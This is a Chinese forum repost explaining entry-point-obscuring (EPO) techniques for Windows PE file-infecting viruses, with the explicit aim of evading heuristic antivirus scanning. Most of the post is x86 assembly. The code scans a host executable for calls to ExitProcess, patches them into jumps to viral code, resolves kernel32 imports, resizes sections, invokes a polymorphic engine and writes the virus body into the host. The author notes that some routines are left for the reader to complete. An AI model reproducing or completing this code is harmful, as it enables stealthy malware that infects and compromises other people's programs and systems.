[转帖]浅谈EPO技术
信息来源:CVC一.几点基础知识
由于EPO不修改入口地址,所以要修改程序的代码,通常为了避开启发式扫描,我们会修改Call [XXXXXXXXh]之类的东西为Call [Addr of ourCode],讲个例子:
一段代码中有228738fd ff15eb0f107d call [7d100febh]一指令,那么我们可以把call [7d100febh]修改成Call [我们的病毒地址]在病毒体内 我们还要再次调用Call [7d100febh]那么如何在病毒体内调用呢?
我们可以在病毒体内适当的地方留下如下的代码
dw ff15h
backaddr dd 0;这个backaddr的值可以动态的改为Call [7d100febh]的eb0f107dh
;这样子,就可以做到EPO了,至于病毒结束::就用retn就可以了(因为是Call调用;呀)
这样我们就得到了一个EPO的基本思路了,接下来我们来讲述Call [我们的病毒地址]的
"我们的病毒地址"的计算方法::
mov eax, EmptyCodeSecRVA+ebp;EmptyCodeSecRVA是我们病毒要写到的宿主的节位置的RVA
sub eax, edx;edx==EmptyCodeSec的地址
sub eax, [ebx].SH_VirtualAddress;不用讲了吧?
sub eax, 5;修正地址!!
;此时eax的内容就是"我们的病毒地址"了,KK~~~
;为什么?请看PE文件相关内容
看到这里你可能会说:"我们把FF15h作为特征查找,然后...",你这样想很正确,不过你想过Movax,0000ff15h这样和Call [XXXXXXXX]没任何联系的代码都会有ff15h的字样吗?
这就是为什么?EPO都是对Call SomeApi而设定的原因了,哦哦,你明白了吗?
二.开始EPO
a.例子一::
;来自29a的GriYo,不过缺少代码,不能用
;----------------------------------------------------------------------------
;
;On entry:
;ebx -> Host base address
;ecx -> Pointer to RAW data or NULL if error
;edx -> Entry-point RVA
;esi -> Pointer to IMAGE_OPTIONAL_HEADER
;edi -> Pointer to section header
;ebp -> Virus delta offset
;
;On exit:
;ebx -> Not changed
;ecx -> Inject point offset in file or NULL if error
;
;----------------------------------------------------------------------------
example_3:mov eax,dword ptr [edi+SH_VirtualSize]
shr eax,01h
call get_rnd_range
mov edx,dword ptr [esi+OH_ImageBase]
lea esi,dword ptr [eax+ecx]
mov ecx,dword ptr [edi+SH_VirtualSize]
sub ecx,eax
search_call:push ecx
lodsw
dec esi
cmp ax,15FFh
jne NoCallOpcode
push esi
inc esi
lodsd
sub eax,edx
mov edx,eax
push esi
call RVA2RAW
pop esi
jecxz NextApe
xchg ecx,esi
lodsd
sub eax,edx
lea esi,dword ptr [eax+ebx]
lodsw
mov edx,ecx
mov ecx,00000020h
mov edi,esi
xor eax,eax
IsThisStr:scasb
jz FoundNull
loop IsThisStr
NextApe:pop esi
NoCallOpcode:pop ecx
loop search_call
ExitApe:ret;Opcode not found
FoundNull:push edx
push esi
push dword ptr [ebp+hKERNEL32]
call dword ptr [ebp+a_GetProcAddress]
pop ecx
sub ecx,ebx
sub ecx,00000006h
or eax,eax
jz NextApe
pop eax
pop eax
ret
b.例子二
;我利用闲暇时间写得EPO_example,可以和你的病毒结合起来,使用前请仔细阅读代码有注释处!
;this is a code epo example,not a complete virus code...some parts are left for you to code.
;after Call getdelta
;lea eax, nKernel32+ebp
;push eax
;dw 15FFh ; Call [var containing offset GetModuleHandle]
;GetModHandleAddy dd 0
;
;
;Entry
; eax==the map of the file
EPO_Example:
mov esi, eax
movzx ecx, word ptr [eax+3Ch]
add eax, ecx
xchg eax, edi
mov eax, dword ptr [edi].OH_DataDirectory+8
call RVA2Addr
;我们先要找到Exitprocess和GetMoudleHandle在宿主文件中的RAV地址(不同的程序地址会有所不一样)。
ImportLoop:
cmp [eax].ID_Characteristics, 0
je Error
xchg eax, edx
mov eax, [edx].ID_Name
call RVA2Addr
cmp dword ptr [eax], 'NREK'
jne short TryNextImport
cmp dword ptr [eax+4], '23LE'
je short FoundKernel
TryNextImport:
lea eax, [edx + size IMAGE_IMPORT_DESCRIPTOR]
jmp ImportLoop
FoundKernel: ;查找"ExitProcess" 和 "GetModuleHandle"字符
mov eax, [edx].ID_Characteristics
or eax,eax
jne short HNAExists
mov eax, [edx].ID_FirstThunk
HNAExists:
call RVA2Addr
mov ebx, eax
mov edi, [edx].ID_FirstThunk
xor edx,edx
FindImportFunction:
mov eax, [ebx]
or eax,eax
je short DoneImports
js short NotGetModuleHandle
call RVA2Addr
inc eax
inc eax
xchg eax, edi
test dl, 1 ; 找到了?
jnz short NotExitProcess
mov ecx, 12
push esi
push edi
lea esi, nExitProcess+ebp
repz cmpsb
pop edi
pop esi
jne short NotExitProcess
or dl, 1 ; 标记一下
mov ExitProcessRVA+ebp, eax ; 保存
NotExitProcess:
test dl, 2
jnz short NotGetModuleHandle
mov ecx, 17
push esi
push edi
lea esi, nGetModuleHandle+ebp
rep cmpsb
pop edi
pop esi
jne short NotGetModuleHandle
or dl, 2
mov GetModuleHandleRVA+ebp, eax
NotGetModuleHandle:
xchg eax, edi
add ebx, 4 ; 查找下一个函数
add edi, 4
jmp FindImportFunction
DoneImports:
cmp dl, 3 ; 两个都找到了?
jne Error
movzx ebx, word ptr [esi+3Ch]
add ebx, esi
mov edi, ebx ; edi= PE Header offset
movzx ecx, [ebx].OH_NumberOfSections
movzx edx, word ptr [ebx].OH_SizeOfOptionalHeader
lea edx, [ebx+edx+18h]
; Get Last Section
push ecx
push edx
mov eax, [edx].SH_PointerToRawData
mov ebx, edx
LastSectionLoop:
cmp eax, [edx].SH_PointerToRawData
jae short NotLastSection
mov eax, [edx].SH_PointerToRawData
mov ebx, edx
NotLastSection:
add edx, size IMAGE_SECTION_HEADER
loop LastSectionLoop
mov LastSectionEntryPtr+ebp, ebx
pop edx
pop ecx
; Get Biggest Writable Data Section
push ecx
push edx
xor eax, eax
DataSectionLoop:
test byte ptr [edx].SH_Characteristics+3, 80h ;段节是否可写?
jz short NextDataSec
cmp eax, [edx].SH_VirtualSize
jae short NextDataSec
mov eax, [edx].SH_VirtualSize
mov ebx, edx
NextDataSec:
add edx, size IMAGE_SECTION_HEADER
loop DataSectionLoop
pop edx
pop ecx
mov DataSectionEntryPtr+ebp, ebx
cmp eax, offset (VEnd-Virus)*2
jnb short DataSectionSizePass
mov ebx, [edi].OH_SectionAlignment
dec ebx
add eax, ebx
not ebx
and eax, ebx
cmp eax, offset (VEnd-Virus)*2
jb Error
DataSectionSizePass:
mov NewVirtualSizeOfData+ebp, eax
xor ebx, ebx
FindCodeSection:
test [edx].SH_Characteristics, 0E0000020h
jz short NotACodeSection
test byte ptr [edx].SH_Characteristics+3, 80h
jnz Error
or ebx,ebx
jnz Error
mov ebx, edx
NotACodeSection:
add edx, size IMAGE_SECTION_HEADER
loop FindCodeSection
mov edx, [ebx].SH_PointerToRawData
add edx, esi
cmp [ebx].SH_SizeOfRawData, 1000h
jb Error
xor ecx,ecx
mov FoundExitCall+ebp, ecx
mov ecx, [edi].OH_FileAlignment
dec ecx
test [ebx].SH_VirtualSize, ecx
jz short ProbablyTLINK
mov eax, [ebx].SH_VirtualSize
add edx, eax
push eax
and eax, ecx
inc ecx
sub ecx, eax
pop eax
add eax, [ebx].SH_PointerToRawData
cmp ecx, 50
jb Error
; Now:
; - RVA -done (eax)
; - RawAddy -done (edx)
; - SizeOfSpace -done (ecx)
mov EmptyCodeSecRVA+ebp, eax
mov EmptyCodeSecAddr+ebp, edx
mov EmptyCodeSecSize+ebp, ecx
; Now we search .text for either:
; - EE 15 (call [address])
; - FF 25 (jmp [address])
mov ecx, [ebx].SH_SizeOfRawData
sub ecx, 5
push esi
mov eax, [ebx].SH_PointerToRawData
add eax, esi
xchg eax, esi
xor edx, edx
LinkFindJump:
cmp word ptr [esi+edx], 15FFh
jne short LinkJumpNotFound
mov eax, dword ptr [esi+edx+2]
sub eax, [edi].OH_ImageBase
cmp eax, ExitProcessRVA+ebp
jne short LinkJumpNotFound
mov eax, EmptyCodeSecRVA+ebp
sub eax, edx
sub eax, [ebx].SH_VirtualAddress
sub eax, 5
mov byte ptr [esi+edx], 0E9h ;0e9h is the opcode of jump
mov dword ptr [esi+edx+1], eax
inc FoundExitCall+ebp
LinkJumpNotFound:
inc edx
cmp edx, ecx
jb LinkFindJump
pop esi
jmp HaveCSInfo
ProbablyTLINK:
add edx, [ebx].SH_SizeOfRawData
inc ecx
ScanSpaceBackWard:
dec edx
cmp byte ptr [edx], 0
jne short FoundActualCode
loop ScanSpaceBackWard
jmp Error
FoundActualCode:
add edx, 5 ; edx= Raw Adrress of free space
add ecx, 4
sub ecx, [edi].OH_FileAlignment
neg ecx ; ecx= size of free space
mov eax, [ebx].SH_VirtualAddress
add eax, [ebx].SH_SizeOfRawData
sub eax, ecx
cmp ecx, 50
jb Error
mov EmptyCodeSecRVA+ebp, eax
mov EmptyCodeSecAddr+ebp, edx
mov EmptyCodeSecSize+ebp, ecx
mov ecx, [ebx].SH_SizeOfRawData
sub ecx, 5
push esi
mov eax, [ebx].SH_PointerToRawData
add eax, esi
xchg eax, esi
xor edx, edx
TLinkFindJump:
cmp word ptr [esi+edx], 25FFh
jne short TLinkJumpNotFound
mov eax, dword ptr [esi+edx+2]
sub eax, [edi].OH_ImageBase
cmp eax, ExitProcessRVA+ebp
jne short TLinkJumpNotFound
mov eax, EmptyCodeSecRVA+ebp
sub eax, edx
sub eax, [ebx].SH_VirtualAddress
sub eax, 5
mov byte ptr [esi+edx], 0E9h
mov dword ptr [esi+edx+1], eax
inc FoundExitCall+ebp
TLinkJumpNotFound:
inc edx
cmp edx, ecx
jb TLinkFindJump
pop esi
HaveCSInfo:
cmp FoundExitCall+ebp, 0
je Error
mov eax, GetModuleHandleRVA+ebp
add eax, [edi].OH_ImageBase
mov GetModHandleAddy+ebp, eax
mov eax, ExitProcessRVA+ebp
add eax, [edi].OH_ImageBase
mov EmergencyExitAddy+ebp, eax
mov edx, DataSectionEntryPtr+ebp
mov eax, NewVirtualSizeOfData+ebp
mov [edx].SH_VirtualSize, eax
pushad
Call Mute_Poly_Engine ;变体引擎
popad
Call Set_pp
mov edx, LastSectionEntryPtr+ebp ; 节大小调整
mov ecx, [edi].OH_FileAlignment
mov eax, [edx].SH_SizeOfRawData
mov esi, eax ; esi= size of last section
add eax, ebp+NewVIRUSSIZE
push eax
dec ecx
add eax, ecx
not ecx
and eax, ecx ; eax= Aligned raw size of last section
mov [edx].SH_SizeOfRawData, eax
pop eax
mov ecx, [edi].OH_SectionAlignment
dec ecx
add eax, ecx
not ecx
push ecx
and eax, ecx
mov ecx, [edx].SH_VirtualSize
mov [edx].SH_VirtualSize, eax
sub eax, ecx
pop ecx
and eax, ecx
add [edi].OH_SizeOfImage, eax
mov ecx, LastSectionEntryPtr+ebp
mov ebx, [ecx].SH_PointerToRawData
add ebx, esi
mov eax,ebp+NewVIRUSSIZE-1
mov edi, [edi].OH_FileAlignment
add eax, edi
neg edi
and edi, eax
Call WriteVirusCodeToFile ;代码写入宿主
Error:
retn
; Enter
; eax = RVA
; esi = Start Of Memory mapped PE file.
; Leave:
; eax = Mem map Address
RVA2Addr:
push ebx
push edx
push ecx
push esi
push edi
movzx edi, word ptr [esi+3Ch]
add edi, esi
movzx edx, [edi].OH_SizeOfOptionalHeader
movzx ecx, [edi].OH_NumberOfSections
lea edx, [edi+edx+18h]
mov ebx, [edx].OH_VirtualAddress
mov esi, [edx].OH_PointerToRawData
SectionLoop1:
cmp ebx, [edx].OH_VirtualAddress
jae short SkipSecLoop1
cmp eax, [edx].OH_VirtualAddress
jb short SkipSecLoop1
mov ebx, [edx].OH_VirtualAddress
mov esi, [edx].OH_PointerToRawData
SkipSecLoop1:
add edx, size IMAGE_SECTION_HEADER
loop SectionLoop1
sub eax, ebx
add eax, esi
pop edi
pop esi
add eax, esi
pop ecx
pop edx
pop ebx
ret
EPO_table_data:
nKernel32 db 'Kernel32',0
nExitProcess db 'ExitProcess',0
nGetModuleHandle db 'GetModuleHandleA',0
NewVirusSize dd ?
NumOfNames dd ?
ExitProcessRVA dd ?
GetModuleHandleRVA dd ?
NewVirtualSizeOfData dd ?
EmptyCodeSecRVA dd ?
EmptyCodeSecAddr dd ?
EmptyCodeSecSize dd ?
LastSectionEntryPtr dd ?
DataSectionEntryPtr dd ?
BytesWritten dd ?
FoundExitCall dd ?
EPO_table_data_end:
页:
[1]